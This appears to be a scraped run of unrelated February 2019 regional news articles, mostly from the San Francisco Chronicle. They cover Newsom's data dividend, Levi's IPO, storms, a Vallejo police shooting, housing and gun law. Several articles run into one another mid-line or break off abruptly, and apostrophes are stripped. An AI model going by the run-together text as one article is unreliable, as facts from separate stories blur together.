Gov. Gavin Newsom, the viscidly coiffed ruler of Silicon Valley and its lesser Californian principalities, declared his intention Tuesday in his first State of the State address to tax the money gushers of tech and distribute their wealth to the less digitally fortunate. Huzzah!

Chronicle senior political writer Joe Garofoli flagged this passage in Newsoms address for me:

California is proud to be home to technology companies determined to change the world. But companies that make billions of dollars collecting, curating and monetizing our personal data have a duty to protect it. Consumers have a right to know and control how their data is being used. I applaud this Legislature for passing the first-in-the-nation digital privacy law last year. But Californias consumers should also be able to share in the wealth that is created from their data. And so Ive asked my team to develop a proposal for a new Data Dividend for Californians, because we recognize that your data has value and it belongs to you.

Santiago Mejia / The Chronicle

Its a superficially daring gambit. (The proposal, that is, not Newsoms hair.) But if it is meant as anything besides a political bargaining chip to get Facebook and Google to come crawling to Sacramento with concessions, its sure to prove to be all data, no center.

This notion of paying people for their data isnt new. One of the worst business models from the dot-com boom was pay to surf, employed by companies that explicitly paid internet users for their time and attention. AllAdvantage, a Hayward company, had to yank its initial public offering and auction off its assets after blowing through millions of dollars.

The difference now is that the value of data is more certain  internet advertising was nascent 20 years ago, and it was far from clear what a users attention was worth  and the source of the putative dividends is not speculative venture cash but the tall billions Facebook and Google stack up every quarter selling ads.

Neither company responded to an inquiry about Newsoms proposal. But Facebook helpfully tots up exactly how much money it makes per user. Last year, it was $109.77 in the U.S. and Canada. Even a tenth of that would buy you a couple of Starbucks coffees.

But before you start dreaming of gingerbread lattes, lets consider exactly what Newsom is proposing.

Michael Macor / The Chronicle 2009

When I post a photo of Ramona the Love Terrier on Instagram (which Facebook owns), Facebook is getting the bits and bytes that make up a video of my Jack Russell twirling a ball in the air and spinning to catch it. (As data goes, thats priceless.) But Facebook isnt selling that. Its selling my attention, showing me an ad as I scroll through the feed.

Users confuse the two, argues Antonio Garcia Martinez, a former Facebook product manager and author of the 2016 tech tell-all Chaos Monkeys.

Their life data  their photos, their messages  they think that thats being pimped out, he said. All of those life experiences, all that data youre sharing, is completely ancillary to anything marketers are doing.

Garcia Martinez should know: He helped build some of Facebooks hugely profitable ad systems. Most of the data that advertisers use on Facebook are things they collected on their own, not Facebooks universe of shares and likes and posts. He offered the example of BMW detecting that you once browsed a page on the BMW USA website, and then funneling that information into Facebooks ad machine to show you an ad.

Whose data is that? Yours? BMWs? Facebooks? Delve into the reality of how online ads are bought and sold, and you realize that its far more complex than saying your data generated so many dollars in revenue and you deserve a cut. Your data actually isnt that valuable. Your attention is, and its easily taken away, as the #deletefacebook movement has suggested.

Garcia Martinez points out that tentacular data swappers like Acxiom and Experian make a thriving business providing your personal information to retailers and other marketers, but because they dont make an app on your phone, they fly under the radar.

So, Gov. Newsom: By all means, have your team study this. It will take months to report back what should be obvious to anyone who has an inkling of how online data juggernauts operate: If you want Facebook and Google to pay more to ameliorate the social ills they cause, just raise their taxes. That seems easier.

Sign Up for the Newsletter Want to get the latest on Silicon Valley in your inbox? Subscribe to Tech Chronicle. See More Collapse

 Owen Thomas (othomas@sfchronicle.com)

Interactive Vaccine Tracker: Latest developments Detailed information about the coronavirus vaccines as it becomes available.

Quote of the week

I was your favorite male lesbian for a while until Marc Benioff showed up and displaced me.  Early Facebook investor Roger McNamee, trying to relate to Recode interviewer Kara Swisher in a podcast about his new book Zucked

Coming up

Cisco earnings are Wednesday, and Nvidia Thursday. Both could give a picture of how the broader global economy is performing.

What Im reading

Medium, Ev Williams richly funded save-journalism crusade, has bought local San Francisco online magazine Bold Italic, Melia Russell reports. (San Francisco Chronicle)

Maybe its all the PG&E bankruptcy filings Ive been downloading, but Adam Liptaks look at why courts charge fees for public documents caught my eye. (New York Times)

J.D. Morris looks at how tariffs and other headwinds are causing a drop in Californias solar jobs. (San Francisco Chronicle)

How often does DoorDash subsidize couriers pay with customer tips? Sean Captain delves into some revealing statistics. (Fast Company)

Tech Chronicle is a thrice-weekly newsletter from Owen Thomas, The Chronicles business editor, and the rest of the tech team. Follow along on Twitter: @techchronicle and Instagram: @techchronicle2 1 of 2 Michael Short / Special to The Chronicle Show More Show Less 2 of 2 Santiago Mejia / The Chronicle 2018 Show More Show Less



Limes rejection for an e-scooter trial in San Francisco was fair, but the company should be considered for another chance in April, a San Francisco Municipal Transportation Agency hearing officer wrote in a decision released Tuesday.

The MTAs James Doyle arrived at similar conclusions in his previous rulings on appeals by Ford Motor Co.s Spin subsidiary and by Ubers Jump subsidiary on their rejections. For all three companies, he said their applications received even-handed consideration but they might deserve another bite at the apple.Levi Strauss & Co., the jean maker with a 165-year history in San Francisco, filed for an initial public offering Wednesday.

In papers submitted to the Securities and Exchange Commission, the apparel retailer said it plans to raise $100 million, though the actual amount raised could be different. Pending approval, itll list on the New York Stock Exchange under the ticker LEVI.

The news of the IPO was well received by retail analysts who said the companys brand is one of the few well-known and global enough to withstand the shift to online shopping.

If you look across the apparel and footwear space, only a few companies like Nike and Adidas are well known all over the world, said Chen Grazutis, an equity analyst at Bloomberg Intelligence. I would put Levis in that group of companies.

Levis did not disclose how many shares it plans to issue and for how much. It said it intends to use the proceeds for general corporate purposes, including working capital and capital expenditures, according to the filing.

The $100 million amount is often used as a placeholder, and a company as large as Levis  which is valued around $5 billion  is going to raise much more, said Matthew Kennedy, a senior market strategist with Renaissance Capital, an IPO research firm.

Well have to wait a few weeks to see, but based on the companys valuation Levis could raise up to $750 million, Kennedy said.

It is going public with a two-class share structure that favors existing investors over those who buy shares in the offering.

This is Levis second IPO. It went public in 1971 and then private in 1981. Its filed financial reports with the SEC for years because it has publicly traded bonds, and its Japanese arm  Levi Strauss K.K.  is publicly traded.

The company  founded in 1853 as a dry goods wholesaler  designs, markets and sells jeans, tops, shorts, skirts, jackets, footwear and accessories under the Levis, Dockers, Signature by Levi Strauss & Co. and Denizen brands. Bavarian-born Levi Strauss first patented the blue jeans with Reno tailor Jacob Davis in May 1873.

One of the risk factors outlined in the filing said the founding family combined would still have a lot of control from a voting standpoint. Strauss descendants, members of the Haas family, own at least 60 percent of the company.

The filing stated that a portion of the proceeds could go to acquisitions or other strategic investments, but the company said it currently did not have such plans.

Following the announcement, other publicly traded retailers  including American Eagle, Urban Outfitters and San Franciscos Gap Inc.  saw their stock prices drop.

Usually news like this would bring the industry up, said Kris Dunning, retail analyst at Moss Adams, an investment research firm.

While he thought other factors were at play in the movement, he said a private company and market leader like Levis going public and taking advantage of the market could make investors relocate some of their investment.

Interactive Vaccine Tracker: Latest developments Detailed information about the coronavirus vaccines as it becomes available.

The denim market has made somewhat of a comeback after staving off pressures from athleisure companies like Lululemon that dug into its market share, Bloombergs Grazutis said.

Some of that has to do with fashion trends and the move by denim companies to make jeans from stretchy material, he said.

Levis said its top five markets include the United States, France, Germany, Mexico and the United Kingdom. Revenue in these five regions increased from $3 billion in 2015 to $3.5 billion in 2018.

Levis reported 2018 revenue of $5.58 billion, up 9 percent compared to 2017, and net income of $283 million, up 17 percent over the same time period. It also reduced its debt by $400 million to $1.15 billion in 2018 over a five-year period.

It sells its apparel through its own name-branded stores, chain retailers, department stores and online sites. The company operates around 3,000 name-brand stores worldwide.

Company representatives declined to comment beyond the IPO announcement.

Shwanika Narayan is a San Francisco Chronicle staff writer. Email: shwanika.narayan@sfchronicle.com Twitter: @shwanikaPosted Tuesday, February 12, 2019 4:28 pm

Heavy snowfall has knocked out power in much of East Lewis County, and utility crews are struggling to restore service amid the tough winter conditions.

Weve been without power since about 2 this morning from Mossyrock all the way through Eastern Lewis County, said Cory Moses, communications liaison for the Lewis County Public Utility District on Tuesday. This is one of our biggest (outages) that weve had in recent memory.

Tuesday afternoon, the Lewis County Board of Commissioners announced that it had declared a state of emergency due to the situation.

Crews are working around the clock to restore power and communications to the east end of the county, Lewis County Commission Chair Bobby Jackson said in a news release. We encourage our citizens to stay safe and avoid any unnecessary travel.

The snowstorm that hit Washington over the weekend and early this week dumped significant snow on East County, with Mossyrock getting 15 to 18 inches of accumulation by Monday morning, according to county commissioner Gary Stamper.

That has led to downed lines and difficult travel conditions in a region not familiar with such weather.

We have absolutely been slowed by impassable roadways and a ton of downed lines, Moses said.

The Cowlitz County PUD is lending help under a mutual aid agreement, but as of yet the utilities have been unable to restore power. After a few false starts, in which power was temporarily restored, crews are still working to isolate the areas causing the problems.

Lewis County Emergency Management Director Steve Mansfield said the county is working to keep roadways clear so crews can do their jobs, and its also trying to figure out how to restore 911 access. Phone line outages have hit much of the area as well, and cell phone coverage is also scarce.

Were trying to find a solution until they get this thing fixed  when people need help, where are they gonna go? he said. With the adverse weather conditions up there, theyve been overwhelmed.  Its more than a little bit frustrating, because people who need help wont be able to get it in the normal way that they have been used to for quite some time.

Mansfield said the countys Public Works Department is working with phone company crews to try to provide access to a site that may allow some coverage to be restored. Law enforcement officers have been using radio solutions to maintain communication.

Meanwhile, state Route 7 was closed between Morton and Elbe as conditions stranded motorists in deep snow and ice. The Washington State Department of Transportation tweeted that the road would remain closed overnight as crews worked to reestablish safe travel. Mansfield said that state crews and the Lewis County Sheriffs Office were working to rescue about 50 stranded motorists from the route.

Morton, Mossyrock and White Pass School Districts were all closed Tuesday due to the weather and outages, with Morton Police instructing residents to stay indoors and off roadways if possible. The departments Facebook page also served as a source of updates on the weather, noting a downed power line in Morton and telling residents that the departments youth center would be open to provide a safe place for kids.

In a release about the outages, the PUD said that its Morton office could not take calls due to the outage, instructing people to instead call the Chehalis office at 360-748-9261. The release also instructed residents not to use grills or generators indoors, as both can cause carbon monoxide poisoning. Portable heaters should also be kept from furniture, draperies and flammable materials.

Moses said the utility does maintain a medical alert list of residents who are the most vulnerable as the result of an outage, but current conditions have made it impossible to address even those high-priority cases.

The PUD will be providing updates on its website, lcpud.org, where it also displays a live outage map.

Chronicle reporter Cody Neuenschwander contributed to this story.Scott Strazzante / The Chronicle

The Oakland Raiders have returned to the table and are in talks with the Oakland-Alameda Coliseum Authority about playing their final Bay Area season in Oakland.

Raiders President Marc Badain and I have spoken, Coliseum CEO Scott Mckibben said. I cant tell you where it is all headed, but we have spoken and the meetings have been productive.About a dozen artists facing eviction from their homes in a Mid-Market Street building would be able to stay under a tentative agreement that would have the city fund the purchase of the 15 units, which would be transferred to a nonprofit and made permanently affordable.

In a complicated deal that involved the settlement of more than half a dozen separate lawsuits, the San Francisco Mayors Office of Housing has agreed to finance the purchase of the loft units at 1049 Market St. for $2.4 million.

The agreement, which must be approved by the Board of Supervisors, would convert the buildings second floor into legal, below-market-rate residential units, while allowing the property owner to lease the rest of the seven-story, 56,000-square-foot structure to commercial tenants.

The 15 units will be transferred from the city to the Tenderloin Housing Clinic, which would manage the property. The city is funding the acquisition through its small sites program, which provides city loans to nonprofit organizations to purchase buildings where evictions are either pending or likely.

The deal is the latest twist in the saga of the 1907 brick former furniture warehouse, which five years ago became a symbol of how tech money was changing the Mid-Market neighborhood.

At the time, a 2012 tax break had helped lure Twitter and other tech companies to the gritty stretch of Market Street between Sixth Street and Van Ness Avenue, and investors were bidding up often-run-down commercial buildings that until then had largely housed nonprofits.

In December 2012, a limited partnership purchased 1049 Market St. for $1.7 million. The building, zoned for commercial uses, had about 80 residential tenants then  mostly artists who lived in small but bright and airy lofts with shared bathrooms.

Shortly after buying the building, the owner served the residents with eviction notices, invoking the Ellis Act, the state law that allows landlords to evict tenants in rent-controlled units if the owner wishes to exit the rental business. The law is often used to convert buildings to condominiums.

The case was more complicated because the previous owner had converted the commercial building to residential without obtaining permits, meaning that the residents were living there illegally. As tenants moved out, the owners began reconverting the units to office use, again without permits.

City Attorney Dennis Herrera said that the settlement protects the tenants who remain, brings the building up to code and ensures that it is used legally.

The owners tried to kick everyone out in the middle of a housing crisis to illegally convert it back to offices and capitalize on the tech boom, he said. You just cant do that.

While the landlord successfully cleared out many of the tenants  some were paid $5,200 to relocate  a committed group of about 15 stayed and fought.

One of them, Xian Chandra Redack, a guitarist and songwriter who has been in the building since 2004, said it was the tenants  with the help of the Tenderloin Housing Clinic and the Housing Rights Committee of San Francisco  who deserved credit for the outcome. She and her building mates spent more than five years battling to hold on to their living spaces  organizing, demonstrating and speaking at public hearings.

Nobody thought that we would make it this far  our attorney told us he just thought he was buying us a little more time, Redack said. The lesson here is that if you are a tenant and you fight back, you will always win something more than if you dont fight back. You will win more time or more money or the right to stay.

John Gall, a representative of the building ownership group, did not return a call seeking comment.

While the deal is still being finalized, rent increases for existing tenants will probably be capped at 2.5 percent a year. In order to qualify for a unit, new residents cant earn more than 80 percent of area median income, about $66,000 for a single person. Current rents in the building range from about $600 to $1,000 a month, according to Tenderloin Housing Clinic attorney Steve Collier, who represented the tenants.

Mayor London Breed said the city had taken a difficult situation and turned it into permanently affordable artist housing in the heart of the city.

As we grow and build the housing we so badly need, we also have to work to preserve the housing we already have to keep people stable in their communities, Breed said.

Building residents include several musicians, a fashion designer, a photographer, a ballet dancer and a novelist. They are scattered throughout the building but will be consolidated on the second floor in units comparable in size to their current ones.

Redack said she loves living there  despite the proliferation of drug users outside the building in recent years. Her bright unit is filled with a dozen guitars, and its a quick commute to her job at Rainbow Grocery on Folsom Street.

Rents are affordable, so I can do my creative work and have my part-time job, she said. There is so much going on culturally. Youve got the theater, all kinds of musicians. Youve got Civic Center farmers market, BART, Muni, City Hall. All the demonstrations, the protests, the parades. The Giants marched right by here when they won the World Series a couple of times.

J.K. Dineen is a San Francisco Chronicle staff writer. Email: jdineen@sfchronicle.com Twitter: @sfjkdineenSome people think San Francisco voters should have a better idea of whos paying for the local campaign ads that appear in their mailboxes, on their TVs and on social media.

So on Tuesday, Supervisor Gordon Mar filed a measure conceived by a former ethics commissioner for the November ballot that would require campaigns to prominently disclose the name and dollar amount contributed by their top five donors of at least $5,000 on campaign ads.

Currently, independent political action committees can raise an unlimited amount of money from corporations, unions and individuals. These committees then donate to individual campaigns  making it unclear where, exactly, the money came from.

Too often, huge sums of money are funneled from state-level super PACs to San Francisco elections without an idea of where the money is coming from, Mar said.

If passed, the measure would also limit campaign contributions from a person or company who would have land-use decisions going before the city within 12 months. It would also prohibit limited liability corporations and limited partnerships from donating to campaigns.

The measure has eight co-sponsors: Supervisors Sandra Lee Fewer, Aaron Peskin, Vallie Brown, Matt Haney, Norman Yee, Rafael Mandelman, Hillary Ronen and Shamann Walton.

The measure was written by former San Francisco Ethics Commission Chairman Peter Keane, and the campaign will be managed by Jon Golinger.

Also Tuesday, the board passed an ordinance that requires property owners to notify prospective buyers when a building for sale is prone to flooding.

Last year, the San Francisco Public Utilities Commission mapped roughly 2,000 parcels that are likely to experience serious flooding during a 100-year storm  one that brings enough rainfall to soak more than half a city block with at least 6 inches of water.

It is important to be informed about the risks associated with the properties so you can make informed decisions, said Supervisor Yee, who sponsored the ordinance.

And while the flames might be out, the board wants to know more about the gas-line explosion last week on Geary Boulevard. Supervisor Catherine Stefani called for a hearing to fully review the incident, which sent people running for their lives on Geary Boulevard in the Jordan Park neighborhood.

No one was injured in the Feb. 6 explosion, but four residential and commercial buildings were damaged as fire shot out of the ground for more than two hours before Pacific Gas and Electric Co. crews shut off a gas valve.

Stefani, whose district includes the portion of Geary where the fire started, wants various city departments to appear before the board to address the cause of the incident and review the citys response.

There are still items about this situation that I find extremely alarming, Stefani said. It is critical that we investigate everything that happened from when the gas was finally shut off and the fire was contained.

The call for the hearing is co-sponsored by Supervisor Fewer. The site is at the edge of her district.

Trisha Thadani is a San Francisco Chronicle staff writer. Email: tthadani@sfchronicle.com Twitter: @TrishaThadaniThe shooting Saturday by Vallejo police of a man who had passed out inside a car with a gun bears striking similarities to two other Bay Area police shootings: All ended in death and sparked criticism from the slain mens families that officers grossly overreacted and should have defused the situation.

But use-of-force experts say that the sight of a gun poses a potential threat to police even if its on an unconscious person, and as the person awakes, officers have to make split-second decisions.

Those officers always have that potential threat ... during these situations, said Jeff Martin, an attorney and former San Jose police sergeant who is a use-of-force consultant. Should they make the decision that makes it more likely theyll be shot or should they make a decision biased in favor of their own survival?

Civil rights experts, meanwhile, say police have to do more to avoid a violent outcome.

The latest case occurred at a Taco Bell drive-through line where two officers responded to a report of a driver later identified as Willie McCoy, 21, slumped over in his silver Mercedes shortly after 10:30 p.m. Officers saw a handgun on the mans lap and called for backup, according to Vallejo police. A third officer arrived and the three tried to open the car door  without waking him  to take the gun but the car was locked.

Three other officers arrived and put a Vallejo police car in front of McCoys vehicle to prevent him from moving forward  because his car was still in drive. Officers were in the process of putting a car behind McCoys car when he awoke and looked at them, police said.

Now Playing: Dispatch audio from the shooting of Willie McCoy, whom Vallejo police say was unconscious in his car with a gun in his lap at a Taco Bell drive-thru. McCoy was shot by police as they attempted to wake him up, police said. Video: via Broadcastify

They commanded him to put his hands up but said McCoy reached for the gun and they opened fire, police said. McCoy, a local rapper known as Willie Bo, died at the scene. The gun McCoy had was a fully loaded .40 caliber semi-automatic handgun with an extended magazine, police said.

All six officers are on administrative leave and the shooting is under investigation.

McCoys family questioned the police response and hired attorney John Burris, who represented a family in one of the other Bay Area cases involving a similar police shooting.

Its a really big loss, really, really unexpected, David Harrison, McCoys cousin said Monday. Theres a lot of grieving going on, trying to make sense of this thing.

Burris said his team will investigate whether McCoys rights were violated that night.

Burris also represents the family of Joshua Pawlik, a 32-year-old homeless man shot and killed by Oakland police last March. In that case, police responded to a report of a man with a gun sleeping between two houses in West Oakland.

Police tried, over 45 minutes, to wake Pawlik while keeping a safe distance from him. Body-camera footage shows officers tried to wake him with a loudspeaker, made use of an armored military vehicle and repeatedly told him to get (his) hand off the gun when Pawlik began to move.

Police said Pawlik failed to heed the commands, prompting four officers to open fire.

Last week, Pawliks family filed a lawsuit against the department for excessive use of force.

The Alameda County district attorneys office is reviewing the shooting.

Pawliks death came nearly three years after the fatal Oakland police shooting of Demouria Hogg, 30. In that case, Hogg was found passed out behind the wheel of his car on the Lakeshore Avenue off-ramp of Interstate 580. For more than an hour, police worked to create a peaceful resolution. They blocked off the area, broke out a passenger-side window and used loudspeakers to try to rouse him.

When Hogg abruptly woke up and reached toward his gun, an officer fired her gun twice, killing him.

Hoggs family filed a federal lawsuit against the city, alleging that police had used excessive force on a person who posed no immediate threat. The Oakland City Council in 2016 agreed to settle the case for $1.2 million.

Prosecutors from the Alameda County district attorneys office reviewed the case and declined to file criminal charges against the officers.

Burris acknowledges that in the Hogg and Pawlik cases, Oakland police did a lot to try to secure the scenes and wake the men up.

(But) it seems to me that, from a position of safety, you have to account for the fact that the person is going to wake up and not know whos out there, he said.

Burris said police should consider that a person waking under such circumstances could have a startled reaction.

In all three cases, police have said the men reached for or had their hands on firearms. But Burris argues they may not have realized where they were, or that they were surrounded by police.

The gun is there, but that in and of itself should not be the basis for this quick overreaction, he said. The point of the matter is there should be ways to handle this situation without immediately killing that person.

Martin, the use-of-force consultant, said there is historical context for when its appropriate for an officer to fire on an unconscious person, pointing to the 1998 killing of Tyisha Miller in Riverside.

Miller had been found unconscious with a handgun in her lap, sitting in her car at a gas station, according to the Riverside Press-Enterprise. Police officers broke the glass and said Miller reached for her gun, prompting officers to fire 23 shots at her.

The shooting and ensuing protests pushed then-California Attorney General Bill Lockyer to impose reforms on the Riverside Police Department, including use-of-force training.

If you just stand up, put one or both of your hands into your coat or pants pockets, how long does it take you to pull that hand out and point it at something? Martin said. Youre talking about well under a second, maybe around a half a second, and so those officers always have that potential and deadly threat during these situations.

The Vallejo Police Departments use-of-force policy states that officers are justified in using deadly force when the subject poses what an officer reasonably believes would be an imminent threat of death or serious bodily injury.

Imminent does not mean immediate or instantaneous, according to the policy. If the person has a weapon and officers believe the person intends to use it against the officer, the policy said that it would be justified to use deadly force.

The question about when police officers should use lethal force is the subject of at least one bill introduced in the Legislature this year. The bill, backed by the American Civil Liberties Union, could change the California Penal Code to authorize deadly force only when there are no non-lethal alternatives.

We want to make sure officers, when they have an opportunity to, use alternatives to deadly force, said Lizzie Buchen, legislative advocate for the ACLU. Officers have a lot of tools at their disposal.

In California, its legal for a person with a permit to carry a concealed weapon but illegal to carry the gun openly.

Guys that carry guns know its illegal to have an extended magazine, said Don Cameron, a former Berkeley and BART police officer who now teaches at Bay Area police academies.

If officers are preparing to engage with the person, they could try to divert traffic out of the area. Its not always possible, Cameron said.

If you have the time, thats fine, but if the guy has a gun and hes asleep, at some point, you cant really sit there all day long.

Barry Donelan, a sergeant with the Oakland Police Department and president of the Oakland Police Officers Association, commended his officers for the forethought they put into the Pawlik incident.

They set up a perimeter, stopped all traffic from coming in there, tried to wake him up, have him drop the gun, he said. And, sadly, thats not how it ended up.

When officers approach an unconscious subject, policy dictates that they give the individual time and space, Donelan said, stressing that the officers did just that.

But ultimately when the suspect brings it to a head, which he did, thats when we come to the sad conclusion that we faced, Donelan said.

Gwendolyn Wu, Megan Cassidy and Jill Tucker are San Francisco Chronicle staff writers. Email: gwendolyn.wu@sfchronicle.com, megan.cassidy@sfchronicle.com, jtucker@sfchronicle.comA powerful storm that raced across the Pacific to arrive in the Bay Area on Wednesday isnt done dumping rain, toppling trees, whipping up winds and flooding roads. The Bay Area can brace itself for round two Thursday, officials said.

The storm, which is expected to last into the weekend, also led to the cancellation or delay of about 400 flights at San Francisco International Airport, shut down the citys Great Highway, trapped a man inside his car in Oakland and flooded a school basement in San Francisco.

Umbrella sellers were sitting pretty, and everyone else was wet. And its expected to remain that way for a spell.

Another inch of rain could fall in downtown San Francisco on Thursday, and even more is expected elsewhere, said Roger Gass, a meteorologist for the National Weather Service.

Now Playing: The storm led to the cancellation or delay of about 400 flights at San Francisco International Airport. Video by Sam Pono. Video: Sam Pono

Were definitely going to see the numbers pile up, especially in the North Bay, in the East Bay hills and the Santa Cruz Mountains, he said.

The pounding rain left 2.55 inches of water sloshing through San Francisco in the 24-hour period that ended at 9 p.m. Wednesday. Santa Rosa got 3.95 inches of rain, while in the East Bay, 3.96 inches fell in Richmond.

Ten inches of snow fell overnight in Redding, the Shasta County city that spans Interstate 5. Forecasters expected snow levels to reach 8,000 feet in the Sierra on Wednesday night, then fall to 4,000 feet on Thursday.

Those conditions make the system one of the strongest, if not the strongest, atmospheric river of the season, Gass said.

Thousands of Bay Area residents lost power, including about 500 in the North Bay and 2,500 in the South Bay, according to Pacific Gas & Electric Co.

This is a typical atmospheric river setup, where the North Bay and along the coastal ranges sees the heaviest rainfall, Gass said.

At the San Francisco Ferry Building, visitors tried to make the best of things and pointed out that bad weather in San Francisco is generally just rain, not something worse.

The rain is not white here, said Canadian Rolf Schellenger, 70, visiting from Ontario. In Canada, its not rain, its snow. It is cooler than I expected and not as sunny as I thought California would be.

The Ferry Building was eerily quiet Wednesday, with no lines at popular dining spots.

Richard Hall, a 55-year-old Oakland resident, was hanging out at the Peets coffee shop near the giant picture windows that looked out at the ferry fleet.

I always tell people theres two seasons in San Francisco: It wont rain and it might rain, Hall said, pulling his dark-brown beanie over his forehead.

Theres no such thing as bad weather, just inappropriate clothing, he added with a laugh.

Susan Crosby, 70, took a bus from Napa to San Francisco with a friend for a lunch and theater date that she had no intention of canceling. She stood under a hand dryer in the womens bathroom attempting to dry off her soaked pants.

We felt adventurous, Crosby said. We thought we shouldnt weasel out.

At Dolores Park, crews cleared debris from an uprooted tree that toppled onto two parked cars. No one was injured, but the windshield and sun roof of one car were destroyed and both hoods were dented.

In the Outer Richmond District, the basement of St. Thomas School was flooded and a sump pump was being used to remove the water, Archdiocese of San Francisco spokesman Mike Brown said.

The California Highway Patrol reported multiple spinouts in Oakland, San Francisco, San Jose and Santa Rosa. For a while on Wednesday morning, traffic accidents and other problems were being reported at a rate of more than one per minute.

In Santa Rosa, Audrey Stevenson was surrounded by submerged roadways as she worked from home. Natural disasters are nothing new for her. Stevenson and her family lost a home in Coffey Park during the firestorm of 2017. And yet Stevenson said she was glad for the rain.

Im hoping we pull out of the drought statewide, she said.

In Sonoma County, a flood warning was in effect after Willow Creek at Penngrove Park reached 61.3 feet. Water steadily spilled over the creeks banks toward the picnic tables near the park, and the muddy, ankle-deep water reached just under the benches and flooded the gazebos. The flood stage is 60.7 feet, according to the National Weather Service.

No significant flooding was reported from rivers, but Gass advised Bay Area residents  especially those near the Russian River in Guerneville  to keep an eye on the forecast.

We are seeing the creeks and smaller streams in Sonoma County that drain into the Russian River beginning to rise, he said. Those areas are likely to be more of a concern throughout the day.

The Russian River was expect to reach 34.4 feet on Thursday night and Friday morning, which is 7 inches below flood level.

At Coyote Creek in San Jose, where floods in 2017 forced 14,000 people to flee their homes, rescuers on Tuesday pulled a man to safety. He had been clinging to a log.

A wind advisory and high wind warning remained in effect. The highest winds, up to 75 mph, swept through St. Helena. Gusts reached 58 mph were reported at Rose Peak south of Livermore and 45 mph at Atlas Peak northeast of Napa.

Gusts up to 60 mph will continue Thursday, Gass said.

This far into the winter season, the ground is already saturated, and your likelihood of trees going down is going to be greater, he said.

Downed trees were reported across the region, and rainfall may linger into the weekend, National Weather Service meteorologist Scott Rowe said.

Unfortunately, it looks like we will have to keep our umbrellas handy for the next few days, he said.

The precipitation is courtesy of whats called the Pineapple Express, also known as an atmospheric river, a narrow ribbon of water vapor traveling a long distance  in this case from the subtropics east of Hawaii.

If its any comfort, the Pineapple Express is also drenching the Hawaiian Islands, where rain and thunderstorms are predicted through Saturday.

Chronicle staff writer Rachel Swan contributed to this report.

Sarah Ravani, Ashley McBride, Gwendolyn Wu and Steve Rubenstein are San Francisco Chronicle staff writers. Email: sravani@sfchronicle.com, ashley.mcbride@sfchronicle.com, gwendolyn.wu@sfchronicle.com, srubenstein@sfchronicle.com Twitter: @SarRavani, @ashleynmcb @gwendolynawu @SteveRubeSFIn his State of the State address on Tuesday, Gov. Gavin Newsom all but ended plans for a high-speed rail line connecting San Francisco to Los Angeles.

There simply isnt a path to get from Sacramento to San Diego, let alone from San Francisco to L.A, Newsom said. I wish there were.

Instead, the governor will focus on the portion of the line that is already in the works  Merced to Bakersfield.

So what happens to the empty concrete box below the Transbay Transit Center, intended for that S.F. to L.A. connection? Supporters say they will push forward with getting the funding to make the project a reality, but others, like Newsom, are focused on slightly more practical  if still giant  projects.

Our responsibility has always been connecting Santa Clara County to downtown San Francisco by bringing Caltrain to the Transbay terminal, and we will continue to do that with zeal, Supervisor Aaron Peskin, who chairs the county Transportation Authority board, tells reporter Rachel Swan.

Otherwise, we will have built the most expensive bus terminal in the history of humankind.

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Top of the News

 Caltrans cleanup: The Bay Areas water quality board is ordering Caltrans to clean up their act or start paying fines, saying it has failed to make progress against the heaps of garbage regularly strewn across roadways that end up in the Bay. The U.S. Environmental Protection Agency has urged the water board to make Caltrans clean up garbage over a wider area, sooner.

 Ferry and waffles: After a long wait, a streamlined version of Tanya Hollands Brown Sugar Kitchen has opened inside San Franciscos Ferry building. Food writer Justin Phillips has five things you need to know about the new soul food outpost.

 Biz chief: The San Francisco Chamber of Commerce has a new chief executive - Rodney Fong. Hes the third head of the business organization in three years after his predecessor resigned abruptly in October. Fong has served on the port and planning commissions and has deep ties to the city  hes a fourth-generation San Franciscan.

 Cloudy year: Solar jobs in California were down 11 percent in 2018, the second year of decline. Solar jobs declined around the country  largely attributed to uncertainty caused by tariffs imposed by the Trump administration  but California was particularly hard hit. Solar advocates and experts arent worried yet about the long term.

 Bill forward: A congressional deal to avert another shutdown is still fragile but it does not include $9 billion that California is seeking for wildfire relief. California politicians tell reporter Tal Kopan theyre confident that will become part of a separate disaster relief bill. More: Joshua Tree and Death Valley national parks would grow under a Senate-passed bill.

 Special tales: The first two episodes of Armistead Maupins Tales of the City, the Netflix sequel to the newspaper and TV serial, will make its world premiere at the San Francisco International Film Festival in April. Maupin and its star, Laura Linney, will be on hand for a post-screening interview.

 Repair on pause: Among the first things to be affected by Tuesday-night-into-Wednesday mornings intense atmospheric river storm is the repair to the Richmond-San Rafael Bridge, which has now been delayed a week. More: We are expecting flooding from this pretty much everywhere, a National Weather Service meteorologist says.

 Harper watch: Giants pitcher Madison Bumgarner has joined the chorus of Giants who lobbied for Bryce Harper to join the team, saying he would be a huge addition. But we can still win without him, Bumgarner said.

 Double shift: How does a theater actor afford living in the Bay Area? On the Datebook podcast, theater critic Lily Janiak interviews actor Caleb Cabrera about recent stage roles  and his second line of work  pedicab driver.

 Donation transparency: San Francisco Supervisor Gordon Mar has introduced a measure that would put campaign finance disclosure rules up for a vote in the November ballot  and it has eight co-sponsors.

The Kicker

Jessica Christian/The Chronicle

The neighborhood around it has changed, but inside the Lone Palm, it might as well be the 90s  or even the 40s. Past the awning with its neon sign, through the black curtain, youll find a safe haven from the real world and a veritable playground for anachronists.

In this weeks Drink Up column, Emma Silvers profiles the Mission District bar that shows what it takes to keep a bar thats classic but not mired in nostalgia.

Bay Briefing is written by Taylor Kate Brown and sent to readers email inboxes on weekday mornings. Sign up for the newsletter here and contact Brown at taylor.brown@sfchronicle.comPosted Tuesday, February 12, 2019 1:13 pm

County sheriffs who say they wont enforce Washingtons new, stricter gun laws could be held liable if they refuse to perform enhanced background checks and someone who shouldnt buy a gun is able to buy one and uses it in a crime, Washington Attorney General Bob Ferguson said on Tuesday.

In an open letter to law enforcement, Ferguson wrote that he was confident the wide-ranging law was constitutional and would withstand court challenges, but that he was concerned about threats  mostly from county sheriffs  to not enforce the new law.

At least 13 county sheriffs have said they wont enforce the law, Initiative 1639, which voters passed by a wide margin in November.

Most of the new law  which raises the minimum age to buy semi-automatic rifles, requires enhanced background checks for those rifles and can hold gun owners responsible if their gun was stored carelessly and is used in a crime  has not yet gone into effect. Only the higher age limit  raised from 18 to 21  is now in effect; the rest of the law goes into effect July 1.

In November, the NRA and the Second Amendment Foundation sued Ferguson and the state of Washington in federal court, arguing the law was unconstitutional.

The lawsuit was withdrawn on Monday, after Ferguson sought to have it dismissed on procedural grounds. But the lawsuit was simultaneously refiled, this time listing the Clark County sheriff, the Spokane police chief and the director of the state Department of Licensing as defendants.

